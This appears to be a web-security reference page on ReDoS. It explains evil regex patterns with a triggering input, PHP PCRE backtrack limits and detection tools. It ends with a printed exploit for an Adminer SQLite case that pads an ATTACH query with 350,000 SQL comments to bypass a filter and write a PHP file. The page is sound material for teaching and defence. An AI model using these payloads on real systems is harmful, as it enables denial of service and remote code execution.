Regular Expression

Payloads and bypasses for web application security

Regular Expression Denial of Service (ReDoS) is a type of attack that exploits the fact that certain regular expressions can take an extremely long time to process, causing applications or services to become unresponsive or crash.

Summary#

Tools
Methodology
- Evil Regex
- Backtrack Limit
References

Tools#

tjenkinson/redos-detector - A CLI and library which tests with certainty if a regex pattern is safe from ReDoS attacks. Supported in the browser, Node and Deno.
doyensec/regexploit - Find regular expressions which are vulnerable to ReDoS (Regular Expression Denial of Service)
devina.io/redos-checker - Examine regular expressions for potential Denial of Service vulnerabilities

Methodology#

Evil Regex#

Evil Regex contains:

Grouping with repetition
Inside the repeated group:
- Repetition
- Alternation with overlapping

Examples:

(a+)+
([a-zA-Z]+)*
(a|aa)+
(a|a?)+
(.*a){x} for x > 10

These regular expressions can be exploited with aaaaaaaaaaaaaaaaaaaaaaaa! (20 ‘a’s followed by a ‘!’).

aaaaaaaaaaaaaaaaaaaa!

For this input, the regex engine will try all possible ways to group the a characters before realizing that the match ultimately fails because of the !. This results in an explosion of backtracking attempts.

Backtrack Limit#

Backtracking in regular expressions occurs when the regex engine tries to match a pattern and encounters a mismatch. The engine then backtracks to the previous matching position and tries an alternative path to find a match. This process can be repeated many times, especially with complex patterns and large input strings.

PHP PCRE configuration options:

Name	Default	Note
pcre.backtrack_limit	1000000	100000 for `PHP < 5.3.7`
pcre.recursion_limit	100000	/
pcre.jit	1	/

Sometimes it is possible to force the regex to exceed more than 100 000 recursions which will cause a ReDOS and make preg_match returning false:

$pattern = '/(a+)+$/';
$subject = str_repeat('a', 1000) . 'b';

if (preg_match($pattern, $subject)) {
    echo "Match found";
} else {
    echo "No match";
}

Real-Word case: Adminer SQLite RCE:

Adminer used a regular expression to prevent SQLite queries beginning with ATTACH:

$pattern = "~^(?:\\s|/\\*[\s\S]*?\\*/|(?:#|--)[^\n]*\n?|--\r?\n)*+ATTACH\\b~i";
if(preg_match($pattern, $query, $match)){
 die('error');
}

The check treated both 0 (no match) and false (regular expression evaluation failure) as an allowed query. An attacker could prefix an ATTACH query with hundreds of thousands of empty SQL comments:

<?php
$payload = <<<'SQL'
ATTACH DATABASE 'lol.php' AS lol;
CREATE TABLE lol.pwn (data text);
INSERT INTO lol.pwn (data) VALUES ('<?php phpinfo(); ?>');
SQL;

echo str_repeat("--\n", 350000) . $payload;

Processing the comments exhausted PHP PCRE’s backtracking limit. preg_match() returned false, which the application confused with a clean non-match. The blocked ATTACH query was consequently executed.